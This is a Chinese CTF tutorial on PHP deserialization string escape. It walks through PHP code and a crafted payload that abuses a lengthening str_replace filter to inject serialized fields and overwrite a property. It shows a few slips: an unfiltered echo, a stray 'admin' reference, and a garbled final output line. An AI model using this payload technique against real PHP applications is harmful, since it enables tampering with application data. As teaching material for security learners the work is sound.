dada前言
字符逃逸在CTF中挺常见的,按我的理解就是序列化后的你想要修改的字符替换掉了原本的字符
反序列化的过程 一般是{ 和 ;} 第一次相匹配后,停止反序列化的一个过程(后续的;}将不再触发
如:
<?php
class snow {
public $a = "aa";
public $b = "bbb";
public $c = "cccc";
}
$x = new snow();
echo serialize($x);
其输出结果为:O:4:"snow":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
我们将上面的序列化代码改成:
O:4:"snow":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}11111111111
再进行输出发现:
这并没有把后面的1111111反序列化出来显示,这确实可以说明是反序列化以;}为结束标志,
后面的内容则忽略不管。
因此,我们是不是可以利用这个性质来修改序列化后的字符串来反序列化出原本类中不存在的元素呢??
我们把name的长度改为3时,再反序列化代码会报错
原本:
print_r(unserialize('O:4:"snow":3:{s:4:"name";s:4:"snow";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
修改后:
print_r(unserialize('O:4:"snow":3:{s:4:"name";s:3:"snow";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
可以通过拼接字符串的方式来使它不报错,
所以字符逃逸又分为两类
关键字符变多和关键字符变少
反序列化逃逸的CTF题,会使用preg_replace
函数替换关键字符,会使得关键字符增多或减少,首先介绍使关键字符增多的。
来个简单例子:
<?php
class user{
public $username;
public $password;
public $age;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->age = 0;
}
}
$a = new user("snowy","123456");
$a_seri = serialize($a);
echo $a_seri;
?>
代码输出如下:
O:4:"user":3:{s:8:"username";s:5:"snowy";s:8:"password";s:6:"123456";s:3:"age";i:0;}
我们的age值被默认 =0
再加个函数替换函数:
str_replace #将字符串的值 替换为后者
代码如下:
<?php
class user{
public $username;
public $password;
public $age;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->age = 0;
}
}
function filter($s){
return str_replace("snowy","hacker",$s);
}
$a = new user("snowy","123456"); #传值
$a_seri = serialize($a); #序列化
$a_seri_filter = filter($a_seri); #进行对序列化后的值进行过滤
echo $a_seri;
?>
对admin字符进行替换,将snowy替换为hacker
运行代码 输出如下:
O:4:"user":3:{s:8:"username";s:5:"snowy";s:8:"password";s:6:"123456";s:3:"age";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
过滤前:
O:4:"user":3:{s:8:"username";s:5:"snowy";s:8:"password";s:6:"123456";s:3:"age";i:0;}
过滤后:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:3:"age";i:0;}
可以看到已过滤字符串中的hacker与前面的字符长度不对应了 ,hacker的长度应该为6,而输出的是5
在这个时候,对于我们,在新建对象的时候,传入的snowy就是我们的可控变量
接下来明确我们的目标:将age变量的值修改为20
现有字符串
";s:8:"password";s:6:"123456";s:3:"age";i:0;}
想要改为的字符串:
";s:8:"password";s:6:"123456";s:3:"age";i:20;}
也就是说,我们要在snowy这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:3:"age";i:20;}
以上长度为:46
因为我们需要逃逸的字符串长度为46,并且snowy每次过滤之后都会变成hacker,也就是说每出现一次snowy,就会多1个字符。
因此我们在可控变量处,重复47遍snowy,然后加上我们逃逸后的目标子串,可控变量修改如下:
snowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowy";s:8:"password";s:6:"123456";s:3:"age";i:20;}
完整代码:
<?php
class user{
public $username;
public $password;
public $age;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->age = 0;
}
}
function filter($s){
return str_replace("snowy","hacker",$s);
}
$a = new user("snowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowysnowy";s:8:"password";s:6:"123456";s:3:"age";i:20;}
","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
输出:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["age"]=>20 int(2)
可以看到这个时候,age这个变量就变成了20,反序列化字符逃逸的目的也就达到了。